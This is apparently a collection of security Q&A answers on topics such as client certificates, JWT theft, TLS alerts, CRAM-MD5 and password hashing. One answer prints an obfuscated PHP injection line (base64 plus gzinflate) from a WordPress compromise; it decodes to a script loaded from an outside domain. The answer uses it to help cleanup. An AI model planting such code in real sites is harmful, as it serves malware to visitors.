Why is client certificate authentication not more common

Your three points are pretty valid.

In short: client certificates are unnecessary complicated to average internet users.

tl;dr

The root problem comes from the fact that mutual authentication (TLS) doesn't work the same way for both parties. Explanation below assumes mutual TLS authentication.

Client connects to server and expects some identity confirmations from server in a form of server certificate issued by a trusted authority. If server certificate passed TLS authentication, then we got the right server.

When server is listening on port and client connects to server, server should authenticate and authorize the client. Server must map remote client to a local user database in order to validate permissions and provide personalized content. Here is the difference: client only authenticates the server, but server authenticates and authorizes client.

As you can see, client only consumes resources and do not need to authorize remote server. Server is resource producer and should verify if client is allowed to receive requested data, so authorization must be enabled on server side. In a email/password authentication scheme, server maps email/password to a particular account in local database. Server receives this information when user registers on server. Registration with certificate:

is hard. Requires sophisticated tools with cryptic syntax and special knowledge;
it requires certificate management.

This is where uneducated users will fail. You can remember a email/password combination, so switching between accounts and devices is not an issue. Switching device in certificate-based client authentication will go to nowhere. How easy would be to average user (who is not an IT expert) to move the certificate from his Windows laptop to iOS phone/tablet, for example? Move certificate between Android phone/table and Mac laptop?

Since client doesn't authorize server (do not maintain a local database of valid servers), server can rotate its keys every day and no one will notice this. Server will work as usually.

I disagree with @SyntaxxxErr0r statement that end users are lazy. They are not ready to perform certificate management on their own. And attempts to teach them will result in a food for potential hackers. Again, average internet user isn't an IT expert and is not required to be it. It is a good deal that end users understand email/password combination and it is impossible to ask from them anything else.

  But still why not offer them for sites requiring high security where user is ready to go extra mile to ensure it (say bank sites) or sites that want to provide impression of high security (say bank sites again)?

Same story. Internet banking is supposed for everyone regardless of their technical education. That is, my 80 years grandma should be able to use internet bank services to manage her pension and make basic payments. Though, some banks issue to clients a personalized hardware token, but this is an extra investment from bank side. Literally no site in wild Internet will invest in hardware tokens for every user.

another thing to consider: websites offer password reset via email. How this will look in case with certificates? Try to answer these questions and you will figure why certificate-based client authentication is not widespread in wild Internet and won't be for a long time.


Whats a good backup policy for application with 0 hours RPO?

Many relational databases can be configured to store transaction logs in addition to the actual data.  These transaction logs store the changes that have been made to the data.

A common approach is to back up the database on a regular database, and then keep the transaction logs.  Then a data corruption type disaster of the type you described can be recovered from by restoring the database to the last backup, followed by rolling forwards the transaction logs to the point in time just before the disaster happened.

This would typically be combined with real time replication to a 2nd Datacenter to cope with the Datacenter destruction scenario.


Can user send fake request if it has JWT token?

If anyone trace the requests and responses, Can he get the token from headers?

If an attacker is in a suitable position to perform a MitM (Man in the Middle) attack and is able to intercept and view the requests, then yes, they can get the token from headers. To prevent this, make sure that the REST service in use is using SSL/TLS. This will prevent MitM and replay attacks. The REST service must also make sure that these tokens are properly invalidated on the server-side once the user logs out and there should be a hard session time-out associated with these tokens.

  Where should I store token in android client?

You can store them in your application's SharedPreferences. Read this answer for more details on it.

  If I store token in somewhere like SharedPreferences and user access that He can send fake request to server!

Yes, a user can do that with their own session token. That's exactly what the token is used for. As far as accessing a limited controller is concerned, it is the responsibility of the service to make sure that the access control is proper on the server side and that user is only allowed to perform controlled requests to a particular endpoint.

The problem is, if an attacker gets hold of your valid session token, they'll be able to impersonate you on the application. But you've just made their task difficult by using SSL/TLS everywhere and by ensuring that application does not leak the session token in any way (for example, in the request URLs).


While I couldn't find much on it, I did find this article  that may provide some answers. Also there are vendors such as Barracuda that provide additional security on top of what exists.

That being said, if the Web or Mobile app is an Azure PaaS or IaaS service then a highly secured environment can be built using an App Service Environment with hybrid connectivity. The App Service Environment can act as a DMZ while the hybrid connection can have additional protections such as Web Application Firewalls, Firewalls and IDS.

Hope this helps!


Capturing sensitive data within legal restrictions?

When talking about data protection, you can refer to this page for the UK. The gist of it is below:

  Everyone responsible for using data has to follow strict rules called
  ‘data protection principles’. They must make sure the information is:

  used fairly and lawfully
  used for limited, specifically stated purposes
  used in a way that is adequate, relevant and not excessive accurate
  kept for no longer than is absolutely necessary
  handled according to people’s data protection rights
  kept safe and secure not transferred outside the European Economic    Area without adequate protection

  There is stronger legal protection for more sensitive information,
  such as:

  ethnic  background
  political opinions
  religious beliefs
  health
  sexual health
  criminal records

Now the part that says "kept safe and secure" is to be implemented based on the interpretation of the person implementing the security. The fact is that a judge will look at the measures you took and then deem if those measures were adequate.

There is no law that says you need to use HTTPS perse, but not using it might be considered as not inline with the industry good practices. Therefore meaning you are not adequately protecting the information.

Note that there are many other things to consider as well such as regular patch management, controlled change management,etc... . With regard to medical info there will be even more stringent measures they would expect to be in place, including a good auditing and accounting system to supervise who accessess what records at what time.

In terms of fines the GDPR which supersedes the DPA  prescribes penalties – up to 4% of annual global turnover or €20 million.


In theory this kind of thing should always help (principle of least privilege) and can't really hurt, but if in practice you wind up with a CMS middle tier holding all the credentials anyway, then it may not help much or at all.

An alarm bell is that you are thinking only in terms of SQL injection. The principle of least privilege is so fundamental it should be buying much more protection than that, it should be covering off entire avenues of attack and whole classes of vulnerability, not just one.

Whether or not there is any real benefit I think depends on whether you can (for example) also point at a machine and say 'this machine only ever has 'guest' privilege', etc. In other words, when you look beyond the database, is the argument for the contribution of this to the whole system's security equally simple?

If the result is just additional complexity of the CMS then it might actually be counterproductive (i.e. introduction of complexity, tends to result in more bugs, some of which will tend to be security holes in their own right especially if the bug is in juggling permissions). So another alarm bell is that you seem to foresee a tangle of code in the CMS. This may or may not be necessary however - can you do it more simply?


Are injection vulnerabilities a design or an implementation flaw?

This can be both, but the main responsibility for such problems is design.

Independent on design, if developer is not forced to create a code that is vulnerable to SQL injection, but still creates it, it is an implementation problem. It means, developer either does not understand the problem, or understand but doesn't want to create a code that is resistant to it.

If there is a design decision to use native SQL or HQL or JPQL or similar instead of prepared statement (in Java), or some DSL or similar technique, such decision makes it easy to get SQL injection problems in the code. Resistance to SQL injection is not a primary goal of prepared statements, bu rather a positive side effect. Nevertheless, a design decision to allow native SQL means a design problem.

If there is no explicit design decision regarding native SQL, then developers have no explicit guideline regarding implementation of data access layer and, if they are not experienced enough, do easily such mistakes and create code vulnerable to SQL injection. Means, no decision about plain SQL is again bad design because it does not address such important aspect.


Bad USB and other Exploits of USB Devices

1) BadUSB works by reprogramming a USB device's firmware "in-band" (ie. over the USB connection).  Currently, only one particular model of USB controller chip is known to permit this.  Devices that do not permit in-band firmware changes are not vulnerable to BadUSB.

3) No amount of firmware programming can make a device do something it doesn't have the hardware for.  A USB thumb drive, for example, has neither antennas nor Ethernet jacks, and thus cannot be turned into a network card.

Putting extra chips in a device isn't a BadUSB attack.  It is, however, the sort of thing a spy agency might do, and they're generally clever enough about it that you can't spot the modifications through simple means like checking for unexpected network interfaces.


Use Public Key or Password and PAM verification code

You can in fact combine ssh public key authentication with PAM authentication.
The ssh daemon will do the public key authentication (with you ssh key, which is no certificate, just key pairs!) and the password authentication or OTP/GA authentication is managed via PAM.

The trick is, to use this

AuthenticationMethods publickey,password

in your sshd_config.

I wrote a howto about this.
In this howto you can even manage your SSH keys and the OTP tokens with a central system privacyIDEA. (Disclaimer: My project)


application runtime separation - best practise

Find you who insures your company for costs related to Information Lost, etc. Typically in the contract they define requirements for critical system such as what your describing. Present it to your legal team in the nicest way possible (bring bagels) than watch management scramble to get it resolved and by proxy bring your system up to standard.

Even if it not spelled out specifically by a letter agency, your companies lawyers will see it in this light:

"If we go to court over data lost and the insurance company brings in an expert to testify that our system were not using best practices, we will lose."

In Security, Legal can actually be of big help.


How does a hash which contains algorithm to choose can be secure?

See this for an introduction on password hashing.

That your method ("sha1(password + md5(login))") may be guessed by the attacker is not a problem. Well, it is an indirect problem. Ideally, a "secret algorithm" would protect you even if the said secret algorithm was abysmally weak, because the attacker would still do not know the ends or tails of what you do. Unfortunately, algorithms cannot really be kept secret; and, even more unfortunately, your specific suggestion is abysmally weak.

There are two main problems in your suggestion:

The login name is a bad salt, because it does not change when the user changes his password; and also, the same login names may appear in several systems, making it worthwhile to precompute hashes for the login 'admin'.
The whole things is way too fast. A basic off-the-shelf GPU will be able to try billions (literally) of passwords per second. Not a lot of user passwords resist for long at that rate.

Then there is the more conceptual issue which is that you are "rolling your own crypto", which is known to be a bad idea. The problem with crypto is that you cannot test for security: there is no way to ascertain that what you produced is secure or not. Functional tests can tell you whether your system works, not whether it resists attacks. To assess the security of a cryptographic algorithm or protocol, the best way (which is not necessarily good, but we have no better) is to publish it and let dozens of cryptographers try to break it for some time (counted in years, because ye cannot rush art). If the algorithm survives 5 years of active attempts, then it is probably good, or at least not trivially weak.


Is having theoretical access to PHI a HIPAA breach, even if no one accesses it?

Just going by the guidance on the US Heath & Human Services website:

  A breach is, generally, an impermissible use or disclosure under the Privacy Rule that compromises the security or privacy of the protected health information such that the use or disclosure poses a significant risk of financial, reputational, or other harm to the affected individual.

"Disclosure" implies that the data was disclosed to someone, which is not true in your example.   Also, it does not seem like there was "significant risk of ... harm" if nobody actually saw the data.

Another mitigating factor:  Although the terminal might be unlocked, a HIPAA-compliant patient data system will have an idle lockout for precisely this reason.  Also they will have audit trails of whether that user accessed any patient data, so you would know for certain if there were an actual breach.

Editing to add based on my comment to @Alex:

Leaving patient data on an unsecured network is a violation of HIPAA Privacy Rule and a very bad thing in general.  However, the breach does not occur until someone takes advantage of that security hole.


How to protect web app users from server compromise?

There is a clear separation of concerns here. As the web app developper, you should use state of the art security rules to protect your app. If you are also accountable for its integration on a server, you should also ensure that all the components you use around the application (for example an Apache or nginx front server) have configurations that follow state of the art rules.

But the protection of the client machines can only rely on the machine owners, and the best you can do is to ensure that you have done your job in producing and configuration a correctly secured web app.

That being said the security of a web app heavily rely on the global security on its host. If you think you cannot trust the host environment, you should not use it, or accept that the security of your app will not be higher than the security of its host. Said differently, in using a hosting service for your app, you accept its security level.


Keystrokes to text converter method? (from an audio file, from previously recorded sounds of keystrokes)

This is called "Keyboard Acoustic Emanations" and I don't think there is anything available publicly as a tool.

There has been research on the subject, the most notable being this: http://berkeley.edu/news/media/releases/2005/09/14_key.shtml  (paper: http://www.cs.berkeley.edu/~zl/papers/keyboard-ccs05.pdf presentation: http://www.cs.berkeley.edu/~zl/ppt/keyboard-ccs05.ppt )

There is one real program I'm aware of that can translate from sounds of typing to text, but it works if the user types in Morse Code :-)


Mindlessly clicked days old phishing email link appeared dead

You're fine,

Just clicking the link will have been harmless if the page didn't load. As long as you don't download/install something or enter personal details on sites like that you've little to worry about.


Custom browser based on Internet Explorer - Uniqueness questions

Clearly panopticlick is not showing the user-agent string you think you are sending to it.

I'm confused by your description of what happenned. The page at https://panopticlick.eff.org does not display any user agent.

The page at https://panopticlick.eff.org/index.php?action=log&js=yes displays the user agent I supplied whenever I changed the string. If you are seeing the original user agent string after asking your application to use a different one, then I would be more inclined to believe there is a bug in your code than some fiendish capability of panopticlick.

This is however a completely different question than how you should go about fooling a fingerprinting script. I have no idea what method Panopticlick uses, but there are large range of metrics a script might use. Since I presume you and the EFF bear no mutual ill-will, you would need to direct your efforts against whomever you intend to foil.


Secure USB cable for charging in untrusted environments

Could I mitigate that risk by taking a regular usb cable and cutting the data (but not the power) cables? Or does the usb protocol needs a data handshake to begin charging?

Such a cable does exist, so a data handshake must not be required.

Such cords are discussed on some Stack Exchange sites:

Micro USB cables that only charge but no data, no mounting etc
(Samsung Galaxy S)
How can I tell charge only usb cables from
usb data cables

So yes, using such a cable or making one using a DIY approach could mitigate a risk that depends on the 2 data pins. Of course, a different kind of attack where unexpected power is sent, possibly with the intent to damage the device, would still be possible.


Is it possible for a phishing link to install a major virus on a Mac?

Answer:
Yeah.  It's possible.  Re-install OSX and then change all her passwords. She got phished.

IT Services is correct here.

Prevention:
To prevent this from happening in the future make sure she understands the importance of updates, and how to spot and avoid phishing scams.

How it Happened:
A lot of attackers will use shortened URLs or legitimate websites with XSS vulnerabilities in them.  Even though your University scans the links and e-mails for viruses, if the attacker is using a legitimate site to attack then the university will let it happen.

Next, the link she clicked probably took her to a page that attempted a browser exploit, an attack on adobe flash, or against whatever your girlfriend hadn't updated recently.  Less likely, but still possible, is that they may have used a zero-day exploit - one for which there currently is no patch available.  After this point, the attackers could do whatever they wanted to her laptop including installing malicious software.

Side Note:  You ask in the title "something..something...virus on a mac". Contrary to popular belief, the idea that a Mac is more or less secure than a 'PC' is a fallacy. If a Mac or a PC is running a vulnerable service they are both possible to exploit.


XSS inside HTML attribute where < and " are filtered

No, if " is properly escaped there is no way to get beyond the HTML attribute value.

Your browser parses HTML as a state machine. To verify which state transitions are possible with your available characters, you can look up the state in the HTML5 syntax specification. In your case, these are the options:

8.2.4.38 Attribute value (double-quoted) state

Consume the next input character:

U+0022 QUOTATION MARK (")
    Switch to the after attribute value (quoted) state.
U+0026 AMPERSAND (&)
    Switch to the character reference in attribute value state, with the additional allowed character being U+0022 QUOTATION MARK (").
U+0000 NULL
    Parse error. Append a U+FFFD REPLACEMENT CHARACTER character to the current attribute's value.
EOF
    Parse error. Switch to the data state. Reconsume the EOF character.
Anything else
    Append the current input character to the current attribute's value.

As you can see, the only way to get out of the quoted Attribute value state is via the corresponding quotation mark (" or ' respectively). Any other character just adds to the current attribute's value. Even angle brackets and control characters have no special meaning inside an attribute.

So, in this particular case it's also irrelevant how < and > are handled. This does not trigger:

<input type="text" value="<script>alert('No bounty for you.')</script>">


There were quite a few, but the ones that got a lot of news time over here:

3 on Facebook
CIA
UK Police
FBI


haproxy with client certificate authentication signed by 'common' CA

Building on StackzOfZtuff's answer, I figured out its actually possible to have haproxy do this itself by using an acl.

With the following 2 lines I can just check the CN in the client cert. And deny requests that don't have a matching CN.

acl validcert ssl_c_s_dn(cn) -m str VALID\ CERT\ CN
http-request deny if !validcert


TLS handshake encrypted alert on client certificate

In TLS there cannot be an encrypted record before the first handshake is completed; the first encrypted record sent by either the client or the server is a Finished message. If the message is encrypted, then it is meant to be decrypted on the other side; since the symmetric encryption keys are derived from the "master secret" which itself comes from the agreed-upon key exchange mechanism, the receiving end (here, the server) cannot logically decrypt a record before the completion of the key exchange. Thus, from the client, it would make no sense to send an encrypted alert before the ClientKeyExchange (that is, not only doing encryption before the Finished messages would violate the standard, but doing so before the ClientKeyExchange would also break the Laws of Nature).

This leads to two theories:

Perhaps the "encrypted" alert message is not encrypted. An alert record consists in a sequence of "alerts", each of them consisting in a couple of bytes: first byte specifies the alert level (1 = warning, 2 = fatal), second byte documents the nature of the alert. See the standard for details.
Maybe your network trace conflates the traffic from several TLS connections, and the "encrypted alert" pertains to another, older handshake (it could be the close_notify alert that marks the end of the previous connection).

In any case, if the server requests a client certificate (with a CertificateRequest message), and the client has no suitable certificate, then the client behaviour should be to send an empty Certificate message (before its ClientKeyExchange). This is what is supposed to happen with TLS-1.0 and later versions; in SSL-3.0, a client with no suitable certificate would omit the Certificate message altogether, and instead send an alert message of level "warning" and type "no_certificate" (numerical value: 41). If your trace shows no Certificate message from the client, then this would mean that you are using SSL-3.0, which, as of August 2015, is weird (clients and servers should know TLS-1.0 by now). This should be verified by looking at the contents of the ClientHello and ServerHello messages. An SSL-3.0 handshake would explain the "alert" message, but it would certainly not be encrypted.

(SSL-3.0 and TLS-1.0 are very similar, but have a few differences, one of them being the client behaviour when having been requested a certificate but being unable to provide one.)

If you are really using SSL-3.0, then, first, you should not, because SSL-3.0 has an irremediable weakness (called POODLE). However, even if you update to a better versions (one of the TLS versions), you would probably have the same problem, which is that the client does not send a certificate.

Common causes for that are:

The client does not have, indeed, such a certificate. Maybe the certificate is there but has expired (or the client may believe it so, because of a poorly set internal clock). Maybe the client has the certificate but lacks the secret key (e.g. in a Windows world, access rights on the private key are off).
The client has a certificate but it is not appropriate for the server. The CertificateRequest from the server includes the list of names of root CA that the server will use to validate the client certificate. The client will send its certificate only if that certificates can be validated relatively to one of these CA. If the list of root CA is misconfigured on the server, then the client may simply abstain from sending a certificate.
Similarly, the client may believe that its certificate is not appropriate for the server. This is a rare case but it happens in some scenarios involving migrations to a new root CA: given a PKI with a root CA and an intermediate CA, one may create a new root CA (new name, new key) that issues a new certificate for the intermediate CA (but the intermediate CA keeps its name and key). This kind of migration allows existing certificates to be validated against both the old and the new root, which is a good thing for a smooth transition. However, some client software (yeah, Windows, I am looking at you) operates under the belief that a given certificates relates to a single root CA, always. Thus, in such a scenario, if the server wants to use the new root but the client believes its certificate to come from the old root, the client will not send it, even though it would have worked fine on the server side.


What is this URL Injection piece of code mean?

It's a PHP shell that reads and evaluates (runs) PHP commands sent to the shell via base64-encoded HTTP-POST messages.

It needs some value for x to pass the check, and then the b64-encoded PHP commands sent through the z0 value.


I accomplished this using WDS and MDT. The biggest problem as you gave mentioned is that the boxes aren't secure whilst the latest few rounds of updates are being installed.

Keeping the windows firewall enabled and restricting exactly who and from what computers these sensitive machines can be accessed can easily be accomplished by the ipsec rules and restricted group membership deployed via group policy. We have a whole separate firewall policy for our new build OUs.

To minimize the danger from a rogue dhcp / tftp server I prefer to keep the server on the same subnet, not forward broadcasts and only apply the vlan to the ports associated with my bench.

I use solar wind's patch manager which uses wsus under the hood. This is set up using https to verify any later patches are securely transmitted. We also sign all patches we assemble in house.


How secure is using CRAM-MD5 for email authentication, when not using an SSL connection?

CRAM-MD5 requires that the server knows the actual password, not just some image of the password by a hash function. So if the server has to support HMAC-MD5, it has to store the password in plaintext. (The server can encrypt the password, but since it also has to know the encryption key, that doesn't help.)

CRAM-MD5 was designed to avoid having the password transit in cleartext. It gives some amount of protection against a passive attacker. If the attacker can eavesdrop on the communication but not inject messages, then all she gets is a challenge C and the value HMAC-MD5(P, C) where P is the password. There is no better method to find the password from this information by brute force. Brute force is however a concern with passwords: at least a slow function should be used, and exposing the hash should be avoided anyway and should be treated as a compromise.

Instead of a human-chosen, memorable password, the “password” (more precisely a shared secret) stored on the server could be a slow hash of the human password, as noted by Adnan. This would preclude brute-force attacks from the MD5 hash, so it would provide better security against passive attackers. (However, anybody who does this is using non-standard tools, and is presumably serious enough about security to use SSL.)
CRAM-MD5 only authenticates the authentication step and not the rest of the session. So an active attacker who is able to impersonate the client can let the authentication happen, then cut off the client (or send it modified data) and send his own commands in the session. Specifically, the attacker has to be able to receive TCP packets intended for the client. Alternatively, the attacker has to be able to receive TCP packets intended for the server, or send fake DNS responses that cause the client to talk to the attacker instead of the server; such an attacker acts as a relay between the client and the server during the authentication phase, then can keep talking to the server. None of these attacks involve a compromise of the password, by the way, other than through brute force as above.

Using CRAM-MD5 over SSL would solve this authentication problem. SSL provides a secure session (i.e. the participants can't change during the session), and authenticates the server to the client (assuming the user won't blindly accept an invalid certificate). CRAM-MD5 brings the third part of the authentication problem: authenticating the client with the server.

CRAM-MD5 over SSL is fine if the password is a long enough randomly-generated string — long enough to resist brute force. If the password is a randomly-generated one, there is no reason not to store it in plaintext on the server, it's just a key. CRAM-MD5 is bad if the password is one that a human can remember, because most human passwords can be cracked by brute force and are valuable beyond that one server as they are often reused.

If using SSL, there is little value in using CRAM-MD5 as opposed to having the client send the password over the SSL connection. There is a small advantage in that if the client inadvertently sends the password to a server impersonator, the password itself is not compromised immediately (only if cracked — though note that a server impersonator can send a constant challenge and therefore build a table (rainbow or other) of HMAC-MD5 values over plausible passwords). Where the password is a random string, this can be an advantage (the attacker can't use the value sent by client to impersonate it unless the server happens to send the same challenge as the attacker, which shouldn't happen). Where the password is a human one, there is no such advantage (as the password can be cracked anyway) and having to store the password in plaintext is a definite disadvantage.


It's fairly easy:

Generate a master key with which to encrypt the data.
Generate a user key for each user that you want to be able to decrypt the data.
Encrypt the master key with each of the user keys and store all of the encrypted results.
When you want to decrypt, use the user's key to decrypt the encrypted master key record and use that to decrypt the data.

If you're using 128-bit keys with AES, you can simply use AES directly without a block mode (ECB if one is forced) to encrypt the master key with each user key, because the key fits perfectly into one block size. If you're using 256-bit keys, you should use a block mode such as CBC and store the IV alongside each record for decryption.

Keep in mind that such a scheme does not allow for access to be securely revoked from a user without completely re-encrypting the data, as a malicious user could keep a copy of the master key. Additionally, this will not scale very well for lots and lots of users (e.g. thousands), as your key set ends up being very large.

For encrypting the files themselves I recommend AES-CBC if tampering is not a concern. You can store the IV in the clear with the file data. If tampering is a concern then you should consider an AEAD mode which prevents meaningful tampering with the file data.


How to prevent my website from getting malware injection attacks?

It seems that the malware you encountered is the "daysofyorr.com virus" or MW:HTA:7.

I'm suggesting that you to use FileZilla as the FTP client. If so, you must know that FileZilla store the credentials of your websites in plain text. A virus may have accessed your credentials, and then accessed all your registered websites searching for WordPress install in order to update the files by inserting this code.

Now, you should:

Search your computer for any viruses, malware, etc.
Change the FTP password of all your registered FTP accounts saved in FileZilla
Eventually use a better FTP system, like WinSCP

  A late comment, but I suspect that you use FileZilla as your FTP
  client. Did you know that FileZilla stores your FTP site credentials
  (site/user/pass) in a plain text file in the %APPDATA% folder?

  And I also suspect there is a hidden malware on your computer. It
  grabbed your FileZilla credential files, and used them to change your
  header.php file in your theme folder. In fact, I suspect that you will
  find changed header.php in all of your themes folders.

  And if you are technical enough to look at your FTP log files, you
  will find the access to those files: a download, then an upload of the
  changed files. You might also find some random file names that were
  uploaded to your root ('home') folder, although those files were
  deleted by the hacker.

  And, you will find that the IP address in the FTP log of the hacker
  was from China.

  Recommendation: uninstall FileZilla, delete the FileZilla folder from
  %APPDATA% folder, change your FTP passwords (and your host passwords).
  And look for any changed header.php, footer.php, and wp-settings.php
  files.

For the "daysofyorr.com virus", you can confirm this by checking some of your PHP files (like index.php), if you find this code:

#b58b6f#
echo(gzinflate(base64_decode(“JctRCoAgDADQq8gO4P5DvcuwRUm hbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3a RWPuDwjeTcmwKJeFK5Qc=”)));
#/b58b6f#

That's it!

For information, it translate into:

<script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>

Which seems to lead to a 404 nowadays.


Why does Chrome send four browsers in the user-agent header?

Presumably you mean the following four:

Mozilla/5.0 (X11; Linux x86_64)

AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/51.0.2704.63
Safari/537.36

most Web browsers use a User-Agent string value as follows:

Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions].

Mozilla  is a byproduct of browser wars.
AppleWebKit/537.36 is the platform used by your browser.
Chrome/51.0.2704.63 is your browser
Safari/537.36 was added for historic reasons, where Safari was treated differently.

You may wish to also read this history or this SO post


Whynopadlock.com shows one insecure link on microsoft website. Does that mean that htts communication can be compromised?

Looking at the page's source code, you can see there's an image element loaded if the browser has JavaScript disabled

I'm believe this is a tracking/analytics element from Microsoft as a fallback for their JavaScript-based tracking script when JavaScript is disabled. If you browse to that page and check your console, you wouldn't see anything out of the ordinary. However, if you disable JavaScript, you'll see this warning:

Having a non-TLS resource in an HTTPS page is referred to as having mixed content. This exposes these requests to tampering by a man-in-the-middle MiTM to inject JavaScript, CSS, or just plain HTML in the loaded page. Even with benign elements such as , an attacker is able to sniff the cookies sent with these non-TLS HTTP requests.

So, is the connection here compromised? I don't think so; being an image element, loaded if JS is disabled, and it's on a separate domain, all makes unlikely for this to be an issue. However, Microsoft should know better than to have mixed content.


How can I find how Cryptowall infiltrated my work network?

You stated that you do not have a hardware firewall, there is no guarantee that the attack came from an internal machine. You could be exposing numerous ports to the internet.

A business level firewall would help prevent future attacks and most of these devices come with traffic logging capabilities that would aid the forensic investigation.

Most enterprise level AV solutions provide a central administration platform that pushes out new definition updates and logs all the infected files/machines. I'm most familiar with Trend's offering on this, however you would need to investigate each solution for yourself to check it fits your business needs.

For your immediate problem, you should isolate your network from the internet. Then isolate every machine (including servers and any BYOD laptops etc), run a standalone virus checker on every single machine. You should only reconnect machines to the network once they have been verified as clean.

Yes it is long and laborious but the plus side is you can put in a large claim for overtime this weekend.


How does a virus scanner inspect URLs entered in a browser?

Anti-virus (AV) software usually install their own NDIS Intermediate Drivers or Windows Filtering Platform Callout Drivers which allows them to tap into the network traffic, modify it, drop it, divert it, and basically do whatever they want.

So when your browser sends a request to a potentially dangerous website, the AV sniffs the HTTP request parameters and compares the URL to a list of blacklisted URLs and when it finds it there it drops request. It's even capable of responding to your browser with a page telling you that the request has been blocked.


Client requiring our SSL Private Key to configure the Load Balancer that reaches our server. Makes sense?

It appears they're using the F5s SSL Proxy capability, which means that the F5 appliance isn't your application's client (they're not terminating at the appliance, but passing through) but instead gives them the ability to decrypt the the traffic to determine if if can be cached and re-used to improve performance.  E.G., if they can cache some things at their edge, they can serve it back to their users without having to make additional full round trips back to your origin servers.  If they can't decrypt the traffic, they can't cache it.

This, as you clearly know, has security implications.  If they insist on this architecture, and the data and risk are theirs and theirs alone, then you need a certificate specific for their application that is not shared to protect the data of any of your other customers.   You can then install the cert on the application servers you host for them, and they can install it on their F5, and as long as their is no opportunity for the cert to accidentally be used for your other customers, then there's very little risk to you.

IF, however, your application is not designed to allow for them to be separated in such a way, and the certificate cannot be isolated for their use only, then in my opinion, you must decline.   You cannot give them a key that would allow them to potentially access other customers data under any circumstances.


Can the root of a system access to unencrypted data when using a double tunnel?

Before trying to trade performance for security, I suggest actually measuring the performance. The overhead for SSH encryption is slight; it increases data size by less than 1%, and CPU usage is low unless you have a pretty weak CPU or a pretty fast network (a Core2 CPU can keep up with 10 MBytes/s SSH by using less than 15% of a single core). So chances are that the safe method, with the double tunnel, is not that expensive.

Moreover, in your second suggestion, you have less size overhead, and also less CPU overhead on your desktop system (A), but more CPU overhead on the gateway (B), since that gateway would have to decrypt the data from A and reencrypt it to send it to C. Since a gateway tends to be a shared resource, chances are that free CPU is scarcer on B than A. Therefore, if performance matters at all (I don't think so, and it should be measured anyway), then the safe method is also the best method for performance.

As @Iszi points out, your second method is also insecure, since it would allow the gateway to make a MitM attack. I would like to point out that it also makes scp usage harder. Therefore, you should use the tunnel-in-tunnel method: it is safer, more flexible, and might even be faster.


Crash a computer using waves or similar techniques?

Several motherboards have overheating protection, if the computer or especially the CPU / graphics card gets too hot, the computer will switch off. So ... turn up the heat in the room (with a big heat-source) until the computer starts rebooting indefinetly. It will be hard not to damage other components I think.

In order not to target other nearby components, you could use another box, that you put over the target-computer and fill it with hot air or something similar.


Are there any known concrete cases of Cloudbleed attacks?

This is an active threat that Google is actively removing leaked information from their search engine.  Although there has been no known exploit from this leaked information, it was still available via search which is hard to track what users/bots reading this data is doing with it.

"The bug may have been active since September 2016, but researchers say it was definitely from February 13 until it was discovered on February 18. Of the leaked data, researchers said they found private messages from dating sites, full messages from chat services, online password data, frames from adult video sites and hotel booking details."

source: http://globalnews.ca/news/3275517/cloudflare-bug-affected-sites-data-leak/


Sorry - there is simply no (electronical) way to protect the bios against pulling out and put back in the battery. Thus there is no way to protect the password and the settings against erasing, if the attacker has physical access to the PC. But a broken bios password is not the end: you have to encrypt the whole disk to secure the data against being stolen or altered (but not against erasing, for this you have a - encrypted - backup to be safe). There ist just no other way against attackers with physical access.

A bios password is usefull to prevent the hidden stealing of passwords or data through secretly booting the pc from a live-dvd or bootable USB-Stick (e.g. http://www.komku.org/2013/02/how-to-reset-windows-7-password-step-by.html), if the PC is sealed or like this.


Is there a known vetted alternative to this key-exchange protocol?

I can't understand what your requirements are -- strangely, you don't seem to have listed the security requirements, or threat model, or what you are trying to achieve -- but the obvious approach would be to use a Kerberos-like (Needham-Schroeder-style) protocol. Those schemes give S a way to help A and B establish a secure channel between them. They can be implemented using just symmetric-key cryptography, so they should perform and scale extremely well.

In straightforward Needham-Schroeder, we assume that initially S and A share a symmetric key (KS,A) known only to them, and that S and B share a symmetric key (KS,B) known only to them. After execution of the protocol, A and B receive a session key (KA,B) that's known only to them, and that A and B can use to communicate securely (to establish a secure channel between them). Both A and B receive assurances of each other's identity. The Needham-Schroeder protocol has been well-studied; for instance, early versions had a subtle flaw, which was subsequently discovered and corrected in later research by Gavin Lowe.

If there is some reason why the server needs to authenticate itself using public-key cryptography, Needham-Schroeder can probably be modified in a straightforward way to support that. (For instance, A could connect to S using TLS or something similar; then S could continue from there to help A and B establish a secure session key KA,B, by sending KA,B to A, and also giving A an encrypted version of the session key, encrypted in such a way that B can decrypt it and verify its freshness.)


Can I use Qubes through a VM without compromising its security?

Using Qubes through VM is all about compromising security. Qubes is unique for its Xen kernel which is perfect for sandboxing and written with less code (fewer security holes).

In Qubes, if you somehow get hacked, the attacker can gain access to your AppVM but not dom0, which means that your other AppVMs will most likely stay untouched. If you run Qubes inside insecure host OS, the attacker can gain full access to your host system following everything it runs.

After all, note the official installation text reads: We don’t recommend installing Qubes in a virtual machine! It will likely not work. Best option for you is installing Qubes-only and create as many HVM templates as you want, so you can run more operating systems at once.


Sadly as far as know there is no such feature as "clipboard timeout". I miss this too :(.

Actually, the current evolution of end-users desktop environment seems to go the opposite way, with so-called "clipboard managers" enabled by default which store the history of the nth latest clipboard values, thus heavily reducing effectiveness of password managers' clipboard clearing feature (clipboard current value will be cleared, but the password will remain accessible and readable in clear form in the clipboard manager history...).

The only technical workaround I know is to run a system-specific command at regular interval which will clear the current value of the clipboard (command which may not be even available by default, at least on Linux, and therefore require a specific installation). As ugly as it can be, but I did not found anything better.

Otherwise, you have no other choice than train yourself to consider the copy/paste operation as a potentially risky operation and double check what you are doing (and of course get rid of these awful clipboard manager software!).


What exactly does L2TP (over IPsec) mean?

No, L2TP over IPSEC only encrypts once, the encryption is done by IPSEC. It is used when you wish to encrypt your data link layer. IPSEC will handle IP packets. Your data link layer is converted into L2TP IP packets, with no encryption. Then you encapsulate the L2TP in the IPSEC protocol.

If you don't need to transport your data link layer over IPSEC but only your IP layer, then you don't need L2TP since IPSEC can handle the IP packets.


If A Password Is Unique, Does It Really Matter How "Strong" It Is?

